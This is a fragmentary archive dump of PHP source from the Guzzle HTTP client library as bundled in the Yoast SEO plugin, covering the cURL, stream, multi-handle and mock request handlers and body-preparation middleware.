(\is_array($options['ssl_key'])) { if (\count($options['ssl_key']) === 2) { [$sslKey, $conf[\CURLOPT_SSLKEYPASSWD]] = $options['ssl_key']; } else { [$sslKey] = $options['ssl_key']; } } $sslKey = $sslKey ?? $options['ssl_key']; if (!\file_exists($sslKey)) { throw new \InvalidArgumentException("SSL private key not found: {$sslKey}"); } $conf[\CURLOPT_SSLKEY] = $sslKey; } if (isset($options['progress'])) { $progress = $options['progress']; if (!\is_callable($progress)) { throw new \InvalidArgumentException('progress client option must be callable'); } $conf[\CURLOPT_NOPROGRESS] = \false; $conf[\CURLOPT_PROGRESSFUNCTION] = static function ($resource, int $downloadSize, int $downloaded, int $uploadSize, int $uploaded) use($progress) { $progress($downloadSize, $downloaded, $uploadSize, $uploaded); }; } if (!empty($options['debug'])) { $conf[\CURLOPT_STDERR] = \YoastSEO_Vendor\GuzzleHttp\Utils::debugResource($options['debug']); $conf[\CURLOPT_VERBOSE] = \true; } } /** * This function ensures that a response was set on a transaction. If one * was not set, then the request is retried if possible. This error * typically means you are sending a payload, curl encountered a * "Connection died, retrying a fresh connect" error, tried to rewind the * stream, and then encountered a "necessary data rewind wasn't possible" * error, causing the request to be sent through curl_multi_info_read() * without an error status. * * @param callable(RequestInterface, array): PromiseInterface $handler */ private static function retryFailedRewind(callable $handler, \YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy, array $ctx) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { try { // Only rewind if the body has been read from. $body = $easy->request->getBody(); if ($body->tell() > 0) { $body->rewind(); } } catch (\RuntimeException $e) { $ctx['error'] = 'The connection unexpectedly failed without ' . 'providing an error. The request would have been retried, ' . 'but attempting to rewind the request body failed. ' . 'Exception: ' . $e; return self::createRejection($easy, $ctx); } // Retry no more than 3 times before giving up. if (!isset($easy->options['_curl_retries'])) { $easy->options['_curl_retries'] = 1; } elseif ($easy->options['_curl_retries'] == 2) { $ctx['error'] = 'The cURL request was retried 3 times ' . 'and did not succeed. The most likely reason for the failure ' . 'is that cURL was unable to rewind the body of the request ' . 'and subsequent retries resulted in the same error. Turn on ' . 'the debug option to see what went wrong. See ' . 'https://bugs.php.net/bug.php?id=47204 for more information.'; return self::createRejection($easy, $ctx); } else { ++$easy->options['_curl_retries']; } return $handler($easy->request, $easy->options); } private function createHeaderFn(\YoastSEO_Vendor\GuzzleHttp\Handler\EasyHandle $easy) : callable { if (isset($easy->options['on_headers'])) { $onHeaders = $easy->options['on_headers']; if (!\is_callable($onHeaders)) { throw new \InvalidArgumentException('on_headers must be callable'); } } else { $onHeaders = null; } return static function ($ch, $h) use($onHeaders, $easy, &$startingResponse) { $value = \trim($h); if ($value === '') { $startingResponse = \true; try { $easy->createResponse(); } catch (\Exception $e) { $easy->createResponseException = $e; return -1; } if ($onHeaders !== null) { try { $onHeaders($easy->response); } catch (\Exception $e) { // Associate the exception with the handle and trigger // a curl header write error by returning 0. $easy->onHeadersException = $e; return -1; } } } elseif ($startingResponse) { $startingResponse = \false; $easy->headers = [$value]; } else { $easy->headers[] = $value; } return \strlen($h); }; } public function __destruct() { foreach ($this->handles as $id => $handle) { \curl_close($handle); unset($this->handles[$id]); } } } guzzlehttp/guzzle/src/Handler/HeaderProcessor.php000066600000004404151734252230016263 0ustar00withoutHeader('Expect'); // Append a content-length header if body size is zero to match // cURL's behavior. if (0 === $request->getBody()->getSize()) { $request = $request->withHeader('Content-Length', '0'); } return $this->createResponse($request, $options, $this->createStream($request, $options), $startTime); } catch (\InvalidArgumentException $e) { throw $e; } catch (\Exception $e) { // Determine if the error was a networking error. $message = $e->getMessage(); // This list can probably get more comprehensive. if (\false !== \strpos($message, 'getaddrinfo') || \false !== \strpos($message, 'Connection refused') || \false !== \strpos($message, "couldn't connect to host") || \false !== \strpos($message, 'connection attempt failed')) { $e = new \YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException($e->getMessage(), $request, $e); } else { $e = \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException::wrapException($request, $e); } $this->invokeStats($options, $request, $startTime, null, $e); return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($e); } } private function invokeStats(array $options, \YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, ?float $startTime, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, \Throwable $error = null) : void { if (isset($options['on_stats'])) { $stats = new \YoastSEO_Vendor\GuzzleHttp\TransferStats($request, $response, \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime() - $startTime, $error, []); $options['on_stats']($stats); } } /** * @param resource $stream */ private function createResponse(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, $stream, ?float $startTime) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $hdrs = $this->lastHeaders; $this->lastHeaders = []; try { [$ver, $status, $reason, $headers] = \YoastSEO_Vendor\GuzzleHttp\Handler\HeaderProcessor::parseHeaders($hdrs); } catch (\Exception $e) { return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor(new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException('An error was encountered while creating the response', $request, null, $e)); } [$stream, $headers] = $this->checkDecode($options, $headers, $stream); $stream = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($stream); $sink = $stream; if (\strcasecmp('HEAD', $request->getMethod())) { $sink = $this->createSink($stream, $options); } try { $response = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Response($status, $headers, $sink, $ver, $reason); } catch (\Exception $e) { return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor(new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException('An error was encountered while creating the response', $request, null, $e)); } if (isset($options['on_headers'])) { try { $options['on_headers']($response); } catch (\Exception $e) { return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor(new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException('An error was encountered during the on_headers event', $request, $response, $e)); } } // Do not drain when the request is a HEAD request because they have // no body. if ($sink !== $stream) { $this->drain($stream, $sink, $response->getHeaderLine('Content-Length')); } $this->invokeStats($options, $request, $startTime, $response, null); return new \YoastSEO_Vendor\GuzzleHttp\Promise\FulfilledPromise($response); } private function createSink(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, array $options) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { if (!empty($options['stream'])) { return $stream; } $sink = $options['sink'] ?? \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen('php://temp', 'r+'); return \is_string($sink) ? new \YoastSEO_Vendor\GuzzleHttp\Psr7\LazyOpenStream($sink, 'w+') : \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($sink); } /** * @param resource $stream */ private function checkDecode(array $options, array $headers, $stream) : array { // Automatically decode responses when instructed. if (!empty($options['decode_content'])) { $normalizedKeys = \YoastSEO_Vendor\GuzzleHttp\Utils::normalizeHeaderKeys($headers); if (isset($normalizedKeys['content-encoding'])) { $encoding = $headers[$normalizedKeys['content-encoding']]; if ($encoding[0] === 'gzip' || $encoding[0] === 'deflate') { $stream = new \YoastSEO_Vendor\GuzzleHttp\Psr7\InflateStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($stream)); $headers['x-encoded-content-encoding'] = $headers[$normalizedKeys['content-encoding']]; // Remove content-encoding header unset($headers[$normalizedKeys['content-encoding']]); // Fix content-length header if (isset($normalizedKeys['content-length'])) { $headers['x-encoded-content-length'] = $headers[$normalizedKeys['content-length']]; $length = (int) $stream->getSize(); if ($length === 0) { unset($headers[$normalizedKeys['content-length']]); } else { $headers[$normalizedKeys['content-length']] = [$length]; } } } } } return [$stream, $headers]; } /** * Drains the source stream into the "sink" client option. * * @param string $contentLength Header specifying the amount of * data to read. * * @throws \RuntimeException when the sink option is invalid. */ private function drain(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $source, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $sink, string $contentLength) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { // If a content-length header is provided, then stop reading once // that number of bytes has been read. This can prevent infinitely // reading from a stream when dealing with servers that do not honor // Connection: Close headers. \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToStream($source, $sink, \strlen($contentLength) > 0 && (int) $contentLength > 0 ? (int) $contentLength : -1); $sink->seek(0); $source->close(); return $sink; } /** * Create a resource and check to ensure it was created successfully * * @param callable $callback Callable that returns stream resource * * @return resource * * @throws \RuntimeException on error */ private function createResource(callable $callback) { $errors = []; \set_error_handler(static function ($_, $msg, $file, $line) use(&$errors) : bool { $errors[] = ['message' => $msg, 'file' => $file, 'line' => $line]; return \true; }); try { $resource = $callback(); } finally { \restore_error_handler(); } if (!$resource) { $message = 'Error creating resource: '; foreach ($errors as $err) { foreach ($err as $key => $value) { $message .= "[{$key}] {$value}" . \PHP_EOL; } } throw new \RuntimeException(\trim($message)); } return $resource; } /** * @return resource */ private function createStream(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) { static $methods; if (!$methods) { $methods = \array_flip(\get_class_methods(__CLASS__)); } if (!\in_array($request->getUri()->getScheme(), ['http', 'https'])) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException(\sprintf("The scheme '%s' is not supported.", $request->getUri()->getScheme()), $request); } // HTTP/1.1 streams using the PHP stream wrapper require a // Connection: close header if ($request->getProtocolVersion() == '1.1' && !$request->hasHeader('Connection')) { $request = $request->withHeader('Connection', 'close'); } // Ensure SSL is verified by default if (!isset($options['verify'])) { $options['verify'] = \true; } $params = []; $context = $this->getDefaultContext($request); if (isset($options['on_headers']) && !\is_callable($options['on_headers'])) { throw new \InvalidArgumentException('on_headers must be callable'); } if (!empty($options)) { foreach ($options as $key => $value) { $method = "add_{$key}"; if (isset($methods[$method])) { $this->{$method}($request, $context, $value, $params); } } } if (isset($options['stream_context'])) { if (!\is_array($options['stream_context'])) { throw new \InvalidArgumentException('stream_context must be an array'); } $context = \array_replace_recursive($context, $options['stream_context']); } // Microsoft NTLM authentication only supported with curl handler if (isset($options['auth'][2]) && 'ntlm' === $options['auth'][2]) { throw new \InvalidArgumentException('Microsoft NTLM authentication only supported with curl handler'); } $uri = $this->resolveHost($request, $options); $contextResource = $this->createResource(static function () use($context, $params) { return \stream_context_create($context, $params); }); return $this->createResource(function () use($uri, &$http_response_header, $contextResource, $context, $options, $request) { $resource = @\fopen((string) $uri, 'r', \false, $contextResource); $this->lastHeaders = $http_response_header ?? []; if (\false === $resource) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException(\sprintf('Connection refused for URI %s', $uri), $request, null, $context); } if (isset($options['read_timeout'])) { $readTimeout = $options['read_timeout']; $sec = (int) $readTimeout; $usec = ($readTimeout - $sec) * 100000; \stream_set_timeout($resource, $sec, $usec); } return $resource; }); } private function resolveHost(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $uri = $request->getUri(); if (isset($options['force_ip_resolve']) && !\filter_var($uri->getHost(), \FILTER_VALIDATE_IP)) { if ('v4' === $options['force_ip_resolve']) { $records = \dns_get_record($uri->getHost(), \DNS_A); if (\false === $records || !isset($records[0]['ip'])) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException(\sprintf("Could not resolve IPv4 address for host '%s'", $uri->getHost()), $request); } return $uri->withHost($records[0]['ip']); } if ('v6' === $options['force_ip_resolve']) { $records = \dns_get_record($uri->getHost(), \DNS_AAAA); if (\false === $records || !isset($records[0]['ipv6'])) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\ConnectException(\sprintf("Could not resolve IPv6 address for host '%s'", $uri->getHost()), $request); } return $uri->withHost('[' . $records[0]['ipv6'] . ']'); } } return $uri; } private function getDefaultContext(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : array { $headers = ''; foreach ($request->getHeaders() as $name => $value) { foreach ($value as $val) { $headers .= "{$name}: {$val}\r\n"; } } $context = ['http' => ['method' => $request->getMethod(), 'header' => $headers, 'protocol_version' => $request->getProtocolVersion(), 'ignore_errors' => \true, 'follow_location' => 0], 'ssl' => ['peer_name' => $request->getUri()->getHost()]]; $body = (string) $request->getBody(); if ('' !== $body) { $context['http']['content'] = $body; // Prevent the HTTP handler from adding a Content-Type header. if (!$request->hasHeader('Content-Type')) { $context['http']['header'] .= "Content-Type:\r\n"; } } $context['http']['header'] = \rtrim($context['http']['header']); return $context; } /** * @param mixed $value as passed via Request transfer options. */ private function add_proxy(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void { $uri = null; if (!\is_array($value)) { $uri = $value; } else { $scheme = $request->getUri()->getScheme(); if (isset($value[$scheme])) { if (!isset($value['no']) || !\YoastSEO_Vendor\GuzzleHttp\Utils::isHostInNoProxy($request->getUri()->getHost(), $value['no'])) { $uri = $value[$scheme]; } } } if (!$uri) { return; } $parsed = $this->parse_proxy($uri); $options['http']['proxy'] = $parsed['proxy']; if ($parsed['auth']) { if (!isset($options['http']['header'])) { $options['http']['header'] = []; } $options['http']['header'] .= "\r\nProxy-Authorization: {$parsed['auth']}"; } } /** * Parses the given proxy URL to make it compatible with the format PHP's stream context expects. */ private function parse_proxy(string $url) : array { $parsed = \parse_url($url); if ($parsed !== \false && isset($parsed['scheme']) && $parsed['scheme'] === 'http') { if (isset($parsed['host']) && isset($parsed['port'])) { $auth = null; if (isset($parsed['user']) && isset($parsed['pass'])) { $auth = \base64_encode("{$parsed['user']}:{$parsed['pass']}"); } return ['proxy' => "tcp://{$parsed['host']}:{$parsed['port']}", 'auth' => $auth ? "Basic {$auth}" : null]; } } // Return proxy as-is. return ['proxy' => $url, 'auth' => null]; } /** * @param mixed $value as passed via Request transfer options. */ private function add_timeout(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void { if ($value > 0) { $options['http']['timeout'] = $value; } } /** * @param mixed $value as passed via Request transfer options. */ private function add_crypto_method(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void { if ($value === \STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT || $value === \STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT || $value === \STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT || \defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT') && $value === \STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT) { $options['http']['crypto_method'] = $value; return; } throw new \InvalidArgumentException('Invalid crypto_method request option: unknown version provided'); } /** * @param mixed $value as passed via Request transfer options. */ private function add_verify(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void { if ($value === \false) { $options['ssl']['verify_peer'] = \false; $options['ssl']['verify_peer_name'] = \false; return; } if (\is_string($value)) { $options['ssl']['cafile'] = $value; if (!\file_exists($value)) { throw new \RuntimeException("SSL CA bundle not found: {$value}"); } } elseif ($value !== \true) { throw new \InvalidArgumentException('Invalid verify request option'); } $options['ssl']['verify_peer'] = \true; $options['ssl']['verify_peer_name'] = \true; $options['ssl']['allow_self_signed'] = \false; } /** * @param mixed $value as passed via Request transfer options. */ private function add_cert(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void { if (\is_array($value)) { $options['ssl']['passphrase'] = $value[1]; $value = $value[0]; } if (!\file_exists($value)) { throw new \RuntimeException("SSL certificate not found: {$value}"); } $options['ssl']['local_cert'] = $value; } /** * @param mixed $value as passed via Request transfer options. */ private function add_progress(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void { self::addNotification($params, static function ($code, $a, $b, $c, $transferred, $total) use($value) { if ($code == \STREAM_NOTIFY_PROGRESS) { // The upload progress cannot be determined. Use 0 for cURL compatibility: // https://curl.se/libcurl/c/CURLOPT_PROGRESSFUNCTION.html $value($total, $transferred, 0, 0); } }); } /** * @param mixed $value as passed via Request transfer options. */ private function add_debug(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array &$options, $value, array &$params) : void { if ($value === \false) { return; } static $map = [\STREAM_NOTIFY_CONNECT => 'CONNECT', \STREAM_NOTIFY_AUTH_REQUIRED => 'AUTH_REQUIRED', \STREAM_NOTIFY_AUTH_RESULT => 'AUTH_RESULT', \STREAM_NOTIFY_MIME_TYPE_IS => 'MIME_TYPE_IS', \STREAM_NOTIFY_FILE_SIZE_IS => 'FILE_SIZE_IS', \STREAM_NOTIFY_REDIRECTED => 'REDIRECTED', \STREAM_NOTIFY_PROGRESS => 'PROGRESS', \STREAM_NOTIFY_FAILURE => 'FAILURE', \STREAM_NOTIFY_COMPLETED => 'COMPLETED', \STREAM_NOTIFY_RESOLVE => 'RESOLVE']; static $args = ['severity', 'message', 'message_code', 'bytes_transferred', 'bytes_max']; $value = \YoastSEO_Vendor\GuzzleHttp\Utils::debugResource($value); $ident = $request->getMethod() . ' ' . $request->getUri()->withFragment(''); self::addNotification($params, static function (int $code, ...$passed) use($ident, $value, $map, $args) : void { \fprintf($value, '<%s> [%s] ', $ident, $map[$code]); foreach (\array_filter($passed) as $i => $v) { \fwrite($value, $args[$i] . ': "' . $v . '" '); } \fwrite($value, "\n"); }); } private static function addNotification(array &$params, callable $notify) : void { // Wrap the existing function if needed. if (!isset($params['notification'])) { $params['notification'] = $notify; } else { $params['notification'] = self::callArray([$params['notification'], $notify]); } } private static function callArray(array $functions) : callable { return static function (...$args) use($functions) { foreach ($functions as $fn) { $fn(...$args); } }; } } guzzlehttp/guzzle/src/Handler/Proxy.php000066600000004616151734252230014321 0ustar00factory = $options['handle_factory'] ?? new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactory(3); } public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { if (isset($options['delay'])) { \usleep($options['delay'] * 1000); } $easy = $this->factory->create($request, $options); \curl_exec($easy->handle); $easy->errno = \curl_errno($easy->handle); return \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactory::finish($this, $easy, $this->factory); } } guzzlehttp/guzzle/src/Handler/EasyHandle.php000066600000005703151734252230015213 0ustar00headers); $normalizedKeys = \YoastSEO_Vendor\GuzzleHttp\Utils::normalizeHeaderKeys($headers); if (!empty($this->options['decode_content']) && isset($normalizedKeys['content-encoding'])) { $headers['x-encoded-content-encoding'] = $headers[$normalizedKeys['content-encoding']]; unset($headers[$normalizedKeys['content-encoding']]); if (isset($normalizedKeys['content-length'])) { $headers['x-encoded-content-length'] = $headers[$normalizedKeys['content-length']]; $bodyLength = (int) $this->sink->getSize(); if ($bodyLength) { $headers[$normalizedKeys['content-length']] = $bodyLength; } else { unset($headers[$normalizedKeys['content-length']]); } } } // Attach a response to the easy handle with the parsed headers. $this->response = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Response($status, $headers, $this->sink, $ver, $reason); } /** * @param string $name * * @return void * * @throws \BadMethodCallException */ public function __get($name) { $msg = $name === 'handle' ? 'The EasyHandle has been released' : 'Invalid property: ' . $name; throw new \BadMethodCallException($msg); } } guzzlehttp/guzzle/src/Handler/MockHandler.php000066600000015330151734252230015362 0ustar00|null $queue The parameters to be passed to the append function, as an indexed array. * @param callable|null $onFulfilled Callback to invoke when the return value is fulfilled. * @param callable|null $onRejected Callback to invoke when the return value is rejected. */ public function __construct(array $queue = null, callable $onFulfilled = null, callable $onRejected = null) { $this->onFulfilled = $onFulfilled; $this->onRejected = $onRejected; if ($queue) { // array_values included for BC $this->append(...\array_values($queue)); } } public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { if (!$this->queue) { throw new \OutOfBoundsException('Mock queue is empty'); } if (isset($options['delay']) && \is_numeric($options['delay'])) { \usleep((int) $options['delay'] * 1000); } $this->lastRequest = $request; $this->lastOptions = $options; $response = \array_shift($this->queue); if (isset($options['on_headers'])) { if (!\is_callable($options['on_headers'])) { throw new \InvalidArgumentException('on_headers must be callable'); } try { $options['on_headers']($response); } catch (\Exception $e) { $msg = 'An error was encountered during the on_headers event'; $response = new \YoastSEO_Vendor\GuzzleHttp\Exception\RequestException($msg, $request, $response, $e); } } if (\is_callable($response)) { $response = $response($request, $options); } $response = $response instanceof \Throwable ? \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($response) : \YoastSEO_Vendor\GuzzleHttp\Promise\Create::promiseFor($response); return $response->then(function (?\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $value) use($request, $options) { $this->invokeStats($request, $options, $value); if ($this->onFulfilled) { ($this->onFulfilled)($value); } if ($value !== null && isset($options['sink'])) { $contents = (string) $value->getBody(); $sink = $options['sink']; if (\is_resource($sink)) { \fwrite($sink, $contents); } elseif (\is_string($sink)) { \file_put_contents($sink, $contents); } elseif ($sink instanceof \YoastSEO_Vendor\Psr\Http\Message\StreamInterface) { $sink->write($contents); } } return $value; }, function ($reason) use($request, $options) { $this->invokeStats($request, $options, null, $reason); if ($this->onRejected) { ($this->onRejected)($reason); } return \YoastSEO_Vendor\GuzzleHttp\Promise\Create::rejectionFor($reason); }); } /** * Adds one or more variadic requests, exceptions, callables, or promises * to the queue. * * @param mixed ...$values */ public function append(...$values) : void { foreach ($values as $value) { if ($value instanceof \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface || $value instanceof \Throwable || $value instanceof \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface || \is_callable($value)) { $this->queue[] = $value; } else { throw new \TypeError('Expected a Response, Promise, Throwable or callable. Found ' . \YoastSEO_Vendor\GuzzleHttp\Utils::describeType($value)); } } } /** * Get the last received request. */ public function getLastRequest() : ?\YoastSEO_Vendor\Psr\Http\Message\RequestInterface { return $this->lastRequest; } /** * Get the last received request options. */ public function getLastOptions() : array { return $this->lastOptions; } /** * Returns the number of remaining items in the queue. */ public function count() : int { return \count($this->queue); } public function reset() : void { $this->queue = []; } /** * @param mixed $reason Promise or reason. */ private function invokeStats(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, $reason = null) : void { if (isset($options['on_stats'])) { $transferTime = $options['transfer_time'] ?? 0; $stats = new \YoastSEO_Vendor\GuzzleHttp\TransferStats($request, $response, $transferTime, $reason); $options['on_stats']($stats); } } } guzzlehttp/guzzle/src/Handler/CurlFactoryInterface.php000066600000001433151734252230017250 0ustar00 An array of delay times, indexed by handle id in `addRequest`. * * @see CurlMultiHandler::addRequest */ private $delays = []; /** * @var array An associative array of CURLMOPT_* options and corresponding values for curl_multi_setopt() */ private $options = []; /** @var resource|\CurlMultiHandle */ private $_mh; /** * This handler accepts the following options: * * - handle_factory: An optional factory used to create curl handles * - select_timeout: Optional timeout (in seconds) to block before timing * out while selecting curl handles. Defaults to 1 second. * - options: An associative array of CURLMOPT_* options and * corresponding values for curl_multi_setopt() */ public function __construct(array $options = []) { $this->factory = $options['handle_factory'] ?? new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactory(50); if (isset($options['select_timeout'])) { $this->selectTimeout = $options['select_timeout']; } elseif ($selectTimeout = \YoastSEO_Vendor\GuzzleHttp\Utils::getenv('GUZZLE_CURL_SELECT_TIMEOUT')) { @\trigger_error('Since guzzlehttp/guzzle 7.2.0: Using environment variable GUZZLE_CURL_SELECT_TIMEOUT is deprecated. Use option "select_timeout" instead.', \E_USER_DEPRECATED); $this->selectTimeout = (int) $selectTimeout; } else { $this->selectTimeout = 1; } $this->options = $options['options'] ?? []; // unsetting the property forces the first access to go through // __get(). unset($this->_mh); } /** * @param string $name * * @return resource|\CurlMultiHandle * * @throws \BadMethodCallException when another field as `_mh` will be gotten * @throws \RuntimeException when curl can not initialize a multi handle */ public function __get($name) { if ($name !== '_mh') { throw new \BadMethodCallException("Can not get other property as '_mh'."); } $multiHandle = \curl_multi_init(); if (\false === $multiHandle) { throw new \RuntimeException('Can not initialize curl multi handle.'); } $this->_mh = $multiHandle; foreach ($this->options as $option => $value) { // A warning is raised in case of a wrong option. \curl_multi_setopt($this->_mh, $option, $value); } return $this->_mh; } public function __destruct() { if (isset($this->_mh)) { \curl_multi_close($this->_mh); unset($this->_mh); } } public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $easy = $this->factory->create($request, $options); $id = (int) $easy->handle; $promise = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise([$this, 'execute'], function () use($id) { return $this->cancel($id); }); $this->addRequest(['easy' => $easy, 'deferred' => $promise]); return $promise; } /** * Ticks the curl event loop. */ public function tick() : void { // Add any delayed handles if needed. if ($this->delays) { $currentTime = \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime(); foreach ($this->delays as $id => $delay) { if ($currentTime >= $delay) { unset($this->delays[$id]); \curl_multi_add_handle($this->_mh, $this->handles[$id]['easy']->handle); } } } // Step through the task queue which may add additional requests. \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue()->run(); if ($this->active && \curl_multi_select($this->_mh, $this->selectTimeout) === -1) { // Perform a usleep if a select returns -1. // See: https://bugs.php.net/bug.php?id=61141 \usleep(250); } while (\curl_multi_exec($this->_mh, $this->active) === \CURLM_CALL_MULTI_PERFORM) { } $this->processMessages(); } /** * Runs until all outstanding connections have completed. */ public function execute() : void { $queue = \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue(); while ($this->handles || !$queue->isEmpty()) { // If there are no transfers, then sleep for the next delay if (!$this->active && $this->delays) { \usleep($this->timeToNext()); } $this->tick(); } } private function addRequest(array $entry) : void { $easy = $entry['easy']; $id = (int) $easy->handle; $this->handles[$id] = $entry; if (empty($easy->options['delay'])) { \curl_multi_add_handle($this->_mh, $easy->handle); } else { $this->delays[$id] = \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime() + $easy->options['delay'] / 1000; } } /** * Cancels a handle from sending and removes references to it. * * @param int $id Handle ID to cancel and remove. * * @return bool True on success, false on failure. */ private function cancel($id) : bool { if (!\is_int($id)) { trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing an integer to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__); } // Cannot cancel if it has been processed. if (!isset($this->handles[$id])) { return \false; } $handle = $this->handles[$id]['easy']->handle; unset($this->delays[$id], $this->handles[$id]); \curl_multi_remove_handle($this->_mh, $handle); \curl_close($handle); return \true; } private function processMessages() : void { while ($done = \curl_multi_info_read($this->_mh)) { if ($done['msg'] !== \CURLMSG_DONE) { // if it's not done, then it would be premature to remove the handle. ref https://github.com/guzzle/guzzle/pull/2892#issuecomment-945150216 continue; } $id = (int) $done['handle']; \curl_multi_remove_handle($this->_mh, $done['handle']); if (!isset($this->handles[$id])) { // Probably was cancelled. continue; } $entry = $this->handles[$id]; unset($this->handles[$id], $this->delays[$id]); $entry['easy']->errno = $done['result']; $entry['deferred']->resolve(\YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactory::finish($this, $entry['easy'], $this->factory)); } } private function timeToNext() : int { $currentTime = \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime(); $nextTime = \PHP_INT_MAX; foreach ($this->delays as $time) { if ($time < $nextTime) { $nextTime = $time; } } return (int) \max(0, $nextTime - $currentTime) * 1000000; } } guzzlehttp/guzzle/src/RequestOptions.php000066600000025314151734252230014625 0ustar00nextHandler = $nextHandler; } public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $fn = $this->nextHandler; // Don't do anything if the request has no body. if ($request->getBody()->getSize() === 0) { return $fn($request, $options); } $modify = []; // Add a default content-type if possible. if (!$request->hasHeader('Content-Type')) { if ($uri = $request->getBody()->getMetadata('uri')) { if (\is_string($uri) && ($type = \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromFilename($uri))) { $modify['set_headers']['Content-Type'] = $type; } } } // Add a default content-length or transfer-encoding header. if (!$request->hasHeader('Content-Length') && !$request->hasHeader('Transfer-Encoding')) { $size = $request->getBody()->getSize(); if ($size !== null) { $modify['set_headers']['Content-Length'] = $size; } else { $modify['set_headers']['Transfer-Encoding'] = 'chunked'; } } // Add the expect header if needed. $this->addExpectHeader($request, $options, $modify); return $fn(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $modify), $options); } /** * Add expect header */ private function addExpectHeader(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, array &$modify) : void { // Determine if the Expect header should be used if ($request->hasHeader('Expect')) { return; } $expect = $options['expect'] ?? null; // Return if disabled or if you're not using HTTP/1.1 or HTTP/2.0 if ($expect === \false || $request->getProtocolVersion() < 1.1) { return; } // The expect header is unconditionally enabled if ($expect === \true) { $modify['set_headers']['Expect'] = '100-Continue'; return; } // By default, send the expect header when the payload is > 1mb if ($expect === null) { $expect = 1048576; } // Always add if the body cannot be rewound, the size cannot be // determined, or the size is greater than the cutoff threshold $body = $request->getBody(); $size = $body->getSize(); if ($size === null || $size >= (int) $expect || !$body->isSeekable()) { $modify['set_headers']['Expect'] = '100-Continue'; } } } guzzlehttp/guzzle/src/BodySummarizer.php000066600000001333151734252230014570 0ustar00truncateAt = $truncateAt; } /** * Returns a summarized message body. */ public function summarize(\YoastSEO_Vendor\Psr\Http\Message\MessageInterface $message) : ?string { return $this->truncateAt === null ? 